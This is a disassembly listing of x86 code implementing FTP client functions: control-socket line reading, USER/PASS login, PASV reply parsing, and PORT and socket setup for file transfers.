dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h
dd 54286824h, 3E80044h, 907780A4h, 5704C483h, 0A50DE8h
dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h
dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42CB10 proc near ; CODE XREF: ___:0042D266p
; sub_42DFD0+70p
var_8 = byte ptr -8
var_5 = byte ptr -5
var_4 = byte ptr -4
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, [esp+18h+arg_4]
push edi
push 100h
lea esi, [edi+44h]
push esi
call sub_42CC50
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42CB4A
loc_42CB32: ; CODE XREF: sub_42CB10+8Ej
; sub_42CB10+D9j
push offset aControlSocketR ; "Control socket read failed"
nop
call near ptr 77C36DF2h
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CB4A: ; CODE XREF: sub_42CB10+20j
mov eax, dword_50E3CC
mov ebx, dword_50FA80
cmp eax, 1
jle short loc_42CB6E
mov eax, dword_50FA84
push esi
add eax, 40h
push offset aS ; "%s"
push eax
call ebx ; dword_50FA80
add esp, 0Ch
loc_42CB6E: ; CODE XREF: sub_42CB10+48j
cmp byte ptr [edi+47h], 2Dh
jnz short loc_42CBEE
push 3
lea ecx, [esp+1Ch+var_8]
push esi
push ecx
nop
call near ptr 77C47A90h
push edi
push 100h
push esi
mov [esp+30h+var_5], 20h
mov [esp+30h+var_4], 0
call sub_42CC50
add esp, 18h
cmp eax, 0FFFFFFFFh
jz short loc_42CB32
mov ebp, dword_50FAD4
loc_42CBA6: ; CODE XREF: sub_42CB10+D7j
cmp dword_50E3CC, 1
jle short loc_42CBC4
mov edx, dword_50FA84
push esi
add edx, 40h
push offset aS ; "%s"
push edx
call ebx ; dword_50FA80
add esp, 0Ch
loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj
lea eax, [esp+18h+var_8]
push 4
push eax
push esi
call ebp ; dword_50FAD4
add esp, 0Ch
test eax, eax
jz short loc_42CBEE
push edi
push 100h
push esi
call sub_42CC50
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42CBA6
jmp loc_42CB32
; ---------------------------------------------------------------------------
loc_42CBEE: ; CODE XREF: sub_42CB10+62j
; sub_42CB10+C3j
mov cl, [esi]
mov dl, [esp+18h+arg_0]
xor eax, eax
pop edi
cmp cl, dl
pop esi
pop ebp
pop ebx
setz al
add esp, 8
retn
sub_42CB10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p
; sub_42CB10+83p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 8
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
mov esi, [esp+14h+arg_8]
xor ecx, ecx
push edi
mov [esp+18h+var_8], ecx
mov eax, [esi+18h]
mov [esp+18h+var_4], ecx
cmp eax, ecx
jz short loc_42CC80
cmp eax, 1
jz short loc_42CC80
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CC80: ; CODE XREF: sub_42CC50+1Ej
; sub_42CC50+23j
mov ebx, [esp+18h+arg_4]
cmp ebx, ecx
jnz short loc_42CC92
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CC92: ; CODE XREF: sub_42CC50+36j
; sub_42CC50+115j
mov edi, [esi+0Ch]
test edi, edi
jle short loc_42CCE3
cmp ebx, edi
jge short loc_42CCA0
lea edi, [ebx-1]
loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj
mov eax, [esi+4]
push edi
push 0Ah
push eax
push ebp
call near ptr 77C46170h
nop
add esp, 10h
test eax, eax
jz short loc_42CCB9
mov edi, eax
sub edi, ebp
loc_42CCB9: ; CODE XREF: sub_42CC50+63j
mov edx, [esp+18h+var_8]
add ebp, edi
add edx, edi
sub ebx, edi
mov [esp+18h+var_8], edx
mov byte ptr [ebp+0], 0
mov ecx, [esi+4]
mov edx, [esi+0Ch]
add ecx, edi
sub edx, edi
test eax, eax
mov [esi+4], ecx
mov [esi+0Ch], edx
jnz loc_42CD6A
loc_42CCE3: ; CODE XREF: sub_42CC50+47j
cmp ebx, 1
jz loc_42CDBD
mov ecx, [esi]
mov eax, [esi+4]
cmp ecx, eax
jnz short loc_42CD0B
mov eax, [esi+14h]
mov dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov [esi], eax
mov dword ptr [esi+10h], 2000h
loc_42CD0B: ; CODE XREF: sub_42CC50+A3j
mov eax, [esp+18h+var_4]
test eax, eax
jnz loc_42CDD0
push esi
call sub_42CE80
add esp, 4
test eax, eax
jz loc_42CE02
mov edx, [esi+10h]
mov eax, [esi]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_436EFA
cmp eax, 0FFFFFFFFh
jz loc_42CDEC
test eax, eax
jnz short loc_42CD4F
mov [esp+18h+var_4], 1
loc_42CD4F: ; CODE XREF: sub_42CC50+F5j
mov edi, [esi+10h]
mov edx, [esi+0Ch]
mov ecx, [esi]
sub edi, eax
add edx, eax
add ecx, eax
mov [esi+10h], edi
mov [esi+0Ch], edx
mov [esi], ecx
jmp loc_42CC92
; ---------------------------------------------------------------------------
loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj
sub ebp, 2
mov esi, offset asc_445220 ; "\r\n"
mov eax, ebp
loc_42CD74: ; CODE XREF: sub_42CC50+146j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42CD9C
test cl, cl
jz short loc_42CD98
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42CD9C
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42CD74
loc_42CD98: ; CODE XREF: sub_42CC50+130j
xor eax, eax
jmp short loc_42CDA1
; ---------------------------------------------------------------------------
loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj
; sub_42CC50+13Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj
test eax, eax
jnz short loc_42CE02
mov byte ptr [ebp+0], 0Ah
mov [ebp+1], al
mov eax, [esp+18h+var_8]
pop edi
dec eax
pop esi
pop ebp
mov [esp+0Ch+var_8], eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDBD: ; CODE XREF: sub_42CC50+96j
mov eax, [esp+18h+arg_0]
pop edi
pop esi
pop ebp
mov byte ptr [eax], 0
mov eax, [esp+0Ch+var_8]
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDD0: ; CODE XREF: sub_42CC50+C1j
mov eax, [esp+18h+var_8]
test eax, eax
jnz short loc_42CE02
pop edi
mov [esp+14h+var_8], 0FFFFFFFFh
mov eax, [esp+14h+var_8]
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDEC: ; CODE XREF: sub_42CC50+EDj
push offset aRead ; "read"
call near ptr 77C36DF2h
nop
add esp, 4
mov [esp+18h+var_8], 0FFFFFFFFh
loc_42CE02: ; CODE XREF: sub_42CC50+D2j
; sub_42CC50+153j ...
mov eax, [esp+18h+var_8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_42CC50 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p
; sub_42DC70:loc_42DC9Dp ...
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 10Ch
push ebx
push ebp
push esi
mov esi, [esp+118h+arg_0]
xor ebx, ebx
xor ebp, ebp
mov eax, [esi+18h]
test eax, eax
jz loc_42CF63
mov ecx, [esi+30h]
test ecx, ecx
jz loc_42CF63
cmp eax, 2
jnz short loc_42CEB5
lea ebp, [esp+118h+var_104]
jmp short loc_42CEB9
; ---------------------------------------------------------------------------
loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj
lea ebx, [esp+118h+var_104]
loc_42CEB9: ; CODE XREF: sub_42CE80+33j
xor eax, eax
push edi
mov [esp+11Ch+var_104], eax
loc_42CEC0: ; CODE XREF: sub_42CE80+98j
cmp eax, 40h
jnb short loc_42CED5
mov ecx, [esi+8]
mov [esp+eax*4+11Ch+var_100], ecx
mov eax, [esp+11Ch+var_104]
inc eax
mov [esp+11Ch+var_104], eax
loc_42CED5: ; CODE XREF: sub_42CE80+43j
mov edx, [esi+28h]
mov eax, [esi+2Ch]
lea ecx, [esp+11Ch+var_10C]
mov [esp+11Ch+var_10C], edx
mov edx, [esi+8]
push ecx
push 0
push ebp
inc edx
push ebx
push edx
mov [esp+130h+var_108], eax
call sub_436F12
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz short loc_42CF1A
test eax, eax
jg short loc_42CF51
mov eax, [esi+34h]
mov ecx, [esi+38h]
push eax
push ecx
push esi
call dword ptr [esi+30h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_42CF56
mov eax, [esp+11Ch+var_104]
jmp short loc_42CEC0
; ---------------------------------------------------------------------------
loc_42CF1A: ; CODE XREF: sub_42CE80+79j
push 100h
xor edi, edi
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
nop
call near ptr 77C371FAh
add esp, 4
push eax
mov eax, [esi+1Ch]
add eax, 44h
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42CF51: ; CODE XREF: sub_42CE80+7Dj
mov edi, 1
loc_42CF56: ; CODE XREF: sub_42CE80+92j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42CF63: ; CODE XREF: sub_42CE80+19j
; sub_42CE80+24j
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 10Ch
retn
sub_42CE80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CFC0: ; CODE XREF: ___:00401410j
mov eax, [esp+4]
xor ecx, ecx
dec eax
cmp eax, 4 ; switch 5 cases
ja loc_42D06F ; default
jmp off_42D074[eax*4] ; switch jump
loc_42CFD7: ; DATA XREF: ___:off_42D074o
mov eax, [esp+8] ; jumptable 0042CFD0 case 0
cmp eax, 1
jz short loc_42CFE9
cmp eax, 2
jnz loc_42D06F ; default
loc_42CFE9: ; CODE XREF: ___:0042CFDEj
mov ecx, [esp+0Ch]
mov [ecx+24h], eax
mov ecx, 1
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42CFF8: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1
mov eax, [esp+8]
mov ecx, 1
mov [edx+30h], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42D00B: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
push esi ; jumptable 0042CFD0 case 2
mov esi, [esp+0Ch]
mov eax, 10624DD3h
push edi
imul esi
mov edi, [esp+14h]
mov ecx, 1
sar edx, 6
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, esi
mov [edi+28h], edx
mov esi, 3E8h
cdq
idiv esi
lea eax, [edx+edx*4]
lea eax, [eax+eax*4]
lea edx, [eax+eax*4]
mov eax, ecx
shl edx, 3
mov [edi+2Ch], edx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42D04C: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3
mov edx, [esp+8]
mov ecx, 1
mov [eax+34h], edx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42D05F: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4
mov edx, [esp+8]
mov ecx, 1
mov [eax+3Ch], edx
loc_42D06F: ; CODE XREF: ___:0042CFCAj
; ___:0042CFE3j
mov eax, ecx ; default
retn
; ---------------------------------------------------------------------------
align 4
off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r
dd offset loc_42CFF8 ; jump table for switch statement
dd offset loc_42D00B
dd offset loc_42D04C
dd offset loc_42D05F
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D0D0 proc near ; CODE XREF: sub_402243j
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
sub esp, 40h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42D161
mov ebx, [esp+4Ch+arg_4]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42D161
mov edi, dword_50FA60
push edx
lea eax, [esp+50h+var_40]
push offset aUserS ; "USER %s"
push eax
call edi ; dword_50FA60
mov esi, [esp+58h+arg_8]
lea ecx, [esp+58h+var_40]
push esi
push 33h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42D13D
mov cl, [esi+44h]
pop edi
cmp cl, 32h
pop esi
setz al
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj
push ebx
lea edx, [esp+50h+var_40]
push offset aPassS ; "PASS %s"
push edx
call edi ; dword_50FA60
push esi
lea eax, [esp+5Ch+var_40]
push 32h
push eax
call sub_42D1A0
add esp, 18h
pop edi
pop esi
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42D161: ; CODE XREF: sub_42D0D0+1Bj
; sub_42D0D0+30j
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 40h
retn
sub_42D0D0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p
; sub_42D0D0+82p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
sub esp, 100h
push ebx
mov ebx, [esp+104h+arg_8]
push esi
push edi
mov eax, [ebx+18h]
test eax, eax
jz short loc_42D1C3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D1C3: ; CODE XREF: sub_42D1A0+15j
mov eax, dword_50E3CC
mov esi, [esp+10Ch+arg_0]
cmp eax, 2
loc_42D1D2: ; CODE XREF: ___:0042D24Dj
jle short loc_42D1EC
mov eax, dword_50FA84
push esi
add eax, 40h
push offset aS_0 ; "%s\n"
push eax
nop
call near ptr 77C40E13h
add esp, 0Ch
loc_42D1EC: ; CODE XREF: sub_42D1A0:loc_42D1D2j
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 2
cmp ecx, 100h
jbe short loc_42D20C
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D20C: ; CODE XREF: sub_42D1A0+60j
push esi
lea ecx, [esp+110h+var_100]
push offset dword_443CD4
push ecx
nop
call near ptr 77C3F931h
lea edi, [esp+118h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 0Ch
repne scasb
mov eax, [ebx+8]
push 0
not ecx
dec ecx
lea edx, [esp+110h+var_100]
push ecx
push edx
push eax
call sub_436F00
sub_42D1A0 endp
; ---------------------------------------------------------------------------
db 85h
; ---------------------------------------------------------------------------
sar byte ptr [edi+1Ah], 68h
lodsb
push esp
inc esp
add [eax-7F645B18h], dl
ja short loc_42D1D2
les eax, [ebx+esi]
rcr byte ptr [edi+5Eh], 5Bh
add esp, 100h
retn
; ---------------------------------------------------------------------------
mov ecx, [esp+114h]
push ebx
push ecx
call sub_42CB10
add esp, 8
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D2C0 proc near ; CODE XREF: sub_401F55j
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 100h
push ebx
push ebp
push esi
mov esi, [esp+10Ch+arg_0]
push edi
mov edi, [esp+110h+arg_4]
test esi, esi
jnz short loc_42D30C
cmp edi, 4
jz short loc_42D2E6
cmp edi, 3
jnz short loc_42D30C
loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj
mov eax, [esp+110h+arg_C]
push offset aMissingPathArg ; "Missing path argument for file transfer"...
add eax, 44h
push eax
call near ptr 77C3F931h
nop
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj
; sub_42D2C0+24j
mov ecx, [esp+110h+arg_8]
mov ebp, dword_50FA60
push ecx
lea edx, [esp+114h+var_100]
push offset dword_4454F4
push edx
call ebp ; dword_50FA60
mov ebx, [esp+11Ch+arg_C]
lea eax, [esp+11Ch+var_100]
push ebx
push 32h
push eax
call sub_42D1A0
add esp, 18h
test eax, eax
jz loc_42D4CE
lea eax, [edi-1] ; switch 4 cases
cmp eax, 3
ja loc_42D4BF ; default
jmp off_42D4DC[eax*4] ; switch jump
loc_42D358: ; DATA XREF: ___:off_42D4DCo
mov ecx, dword_4454EC ; jumptable 0042D351 case 1
mov dl, byte_4454F0
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D373: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov eax, dword_4454E4 ; jumptable 0042D351 case 2
mov cl, byte_4454E8
mov [esp+110h+var_100], eax
mov [esp+110h+var_FC], cl
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D38D: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov edx, dword_4454DC ; jumptable 0042D351 case 3
mov al, byte_4454E0
mov [esp+110h+var_100], edx
mov [esp+110h+var_FC], al
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D3A7: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov ecx, dword_4454D4 ; jumptable 0042D351 case 4
mov dl, byte_4454D8
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 2
loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j
; sub_42D2C0+CBj ...
test esi, esi
jz short loc_42D413
lea edi, [esp+110h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
mov byte ptr [esp+edx+110h+var_100], 20h
inc edx
repne scasb
not ecx
dec ecx
add ecx, edx
cmp ecx, 100h
jnb loc_42D4CE
mov edi, esi
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+edx+110h+var_100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_42D413: ; CODE XREF: sub_42D2C0+102j
mov ecx, [esp+110h+arg_8]
mov esi, [esp+110h+arg_10]
push ebp
push ecx
push esi
push ebx
call sub_42D580
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_42D4CE
push ebx
lea edx, [esp+114h+var_100]
push 31h
push edx
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42D468
mov eax, [esi]
push eax
call sub_401BDB
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D468: ; CODE XREF: sub_42D2C0+188j
mov ecx, [esi]
mov [ecx+1Ch], ebx
mov eax, [ebx+24h]
mov edx, [esi]
cmp eax, 2
mov [ebx+20h], edx
jnz short loc_42D4AF
mov eax, [esi]
push ebx
push eax
call sub_42DA60
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_42D4AF
mov ecx, [esi]
push ecx
call sub_401BDB
add esp, 4
mov dword ptr [esi], 0
mov dword ptr [ebx+20h], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j
; sub_42D2C0+1C8j
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj
push edi ; default
add ebx, 44h
push offset aInvalidOpenTyp ; "Invalid open type %d\n"
push ebx
call ebp ; dword_50FA60
add esp, 0Ch
loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj
; sub_42D2C0+12Cj ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 100h
retn
sub_42D2C0 endp
; ---------------------------------------------------------------------------
align 4
off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r
dd offset loc_42D373 ; jump table for switch statement
dd offset loc_42D38D
dd offset loc_42D3A7
db 4 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_114 = byte ptr -114h
var_110 = byte ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 0042D8B2 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0042D8FD SIZE 0000005F BYTES
sub esp, 134h
push ebx
mov ebx, [esp+138h+arg_0]
push ebp
push esi
mov eax, [ebx+18h]
xor ebp, ebp
mov esi, 1
cmp eax, ebp
push edi
mov [esp+144h+var_120], bp
mov [esp+144h+var_11E], bp
mov [esp+144h+var_11C], esi
jnz loc_42D8A4
mov eax, [esp+144h+arg_C]
cmp eax, esi
jz short loc_42D5E2
cmp eax, 2
jz short loc_42D5E2
push eax
add ebx, 44h
push offset aInvalidDirecti ; "Invalid direction %d\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D5E2: ; CODE XREF: sub_42D580+3Aj
; sub_42D580+3Fj
mov eax, [esp+144h+arg_8]
cmp eax, 41h
jz short loc_42D614
cmp eax, 49h
jz short loc_42D614
push eax
add ebx, 44h
push offset aInvalidModeC ; "Invalid mode %c\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D614: ; CODE XREF: sub_42D580+6Cj
; sub_42D580+71j
mov eax, [ebx+24h]
mov [esp+144h+var_124], 10h
cmp eax, esi
jnz loc_42D6F9
xor eax, eax
push ebx
mov [esp+148h+var_134], eax
push 32h
mov [esp+14Ch+var_130], eax
push offset aPasv ; "PASV"
mov [esp+150h+var_12C], eax
mov word ptr [esp+150h+var_134], 2
mov [esp+150h+var_128], eax
call sub_42D1A0
add esp, 0Ch
test eax, eax
jz loc_42D8A4
lea ecx, [ebx+44h]
push 28h
push ecx
nop
call near ptr 77C47660h
add esp, 8
cmp eax, ebp
jz loc_42D8A4
lea edx, [esp+144h+var_114]
lea ecx, [esp+144h+var_118]
push edx
push ecx
lea edx, [esp+14Ch+var_104]
lea ecx, [esp+14Ch+var_108]
push edx
push ecx
lea edx, [esp+154h+var_10C]
lea ecx, [esp+154h+var_110]
push edx
push ecx
inc eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push eax
nop
call near ptr 77C41B72h
mov dl, [esp+164h+var_110]
mov al, [esp+164h+var_10C]
mov cl, [esp+164h+var_108]
mov byte ptr [esp+164h+var_130], dl
mov dl, [esp+164h+var_104]
mov byte ptr [esp+164h+var_130+1], al
mov al, [esp+164h+var_118]
mov byte ptr [esp+164h+var_130+2], cl
mov cl, [esp+164h+var_114]
add esp, 20h
mov byte ptr [esp+144h+var_130+3], dl
mov byte ptr [esp+144h+var_134+2], al
mov byte ptr [esp+144h+var_134+3], cl
loc_42D6CD: ; CODE XREF: sub_42D580+18Ej
push 6
push esi
push 2
call sub_436F3C
; ---------------------------------------------------------------------------
db 8Bh
dd 0FFFF83F8h, 40684D75h, 0E8004454h, 7780970Ah, 4C48390h
dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42D6F9: ; CODE XREF: sub_42D580+A1j
mov ecx, [ebx+8]
lea edx, [esp+144h+var_124]
lea eax, [esp+144h+var_134]
push edx
push eax
push ecx
call sub_436F2A
test eax, eax
jge short loc_42D6CD
push offset aGetsockname ; "getsockname"
nop
call near ptr 77C36DF2h
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
lea edx, [esp+130h+var_108]
push 4
push edx
push 4
push 0FFFFh
push edi
call sub_436F84
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jnz short loc_42D74E
push offset aSetsockopt ; "setsockopt"
jmp loc_42D895
; ---------------------------------------------------------------------------
loc_42D74E: ; CODE XREF: sub_42D580+1C2j
lea eax, [esp+144h+var_120]
push 4
push eax
push 80h
push 0FFFFh
push edi
call sub_436F84
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jnz short loc_42D774
push offset aSetsockopt ; "setsockopt"
jmp loc_42D895
; ---------------------------------------------------------------------------
loc_42D774: ; CODE XREF: sub_42D580+1E8j
cmp [ebx+24h], esi
jnz short loc_42D799
lea ecx, [esp+144h+var_134]
push 10h
push ecx
push edi
call sub_436F42
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jnz loc_42D87B
push offset aConnect ; "connect"
jmp loc_42D895
; ---------------------------------------------------------------------------
loc_42D799: ; CODE XREF: sub_42D580+1F7j
lea edx, [esp+144h+var_134]
push 10h
push edx
push edi
mov word ptr [esp+150h+var_134+2], bp
call sub_436F30
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jnz short loc_42D7B7
push offset aBind ; "bind"
jmp short loc_42D7C7
; ---------------------------------------------------------------------------
loc_42D7B7: ; CODE XREF: sub_42D580+22Ej
push esi
push edi
call sub_436F1E
; ---------------------------------------------------------------------------
test eax, eax
jge short loc_42D7E3
push offset aListen ; "listen"
loc_42D7C7: ; CODE XREF: sub_42D580+235j
nop
call near ptr 77C36DF2h
add esp, 4
push edi
call sub_436F06
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D7E3: ; CODE XREF: sub_42D580+240j
lea eax, [esp+144h+var_124]
lea ecx, [esp+144h+var_134]
push eax
push ecx
push edi
call sub_436F2A
test eax, eax
jge short loc_42D804
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D804: ; CODE XREF: sub_42D580+275j
mov edx, [esp+144h+var_134+3]
mov eax, [esp+144h+var_134+2]
mov ecx, [esp+144h+var_130+3]
and edx, 0FFh
and eax, 0FFh
push edx
mov edx, [esp+148h+var_130+2]
and ecx, 0FFh
push eax
mov eax, [esp+14Ch+var_130+1]
push ecx
mov ecx, [esp+150h+var_130]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+15Ch+var_100]
push offset aPortDDDDDD ; "PORT %d,%d,%d,%d,%d,%d"
push edx
nop
call near ptr 77C3F931h
push ebx
lea eax, [esp+168h+var_100]
push 32h
push eax
call sub_42D1A0
add esp, 2Ch
test eax, eax
jnz short loc_42D87B
push edi
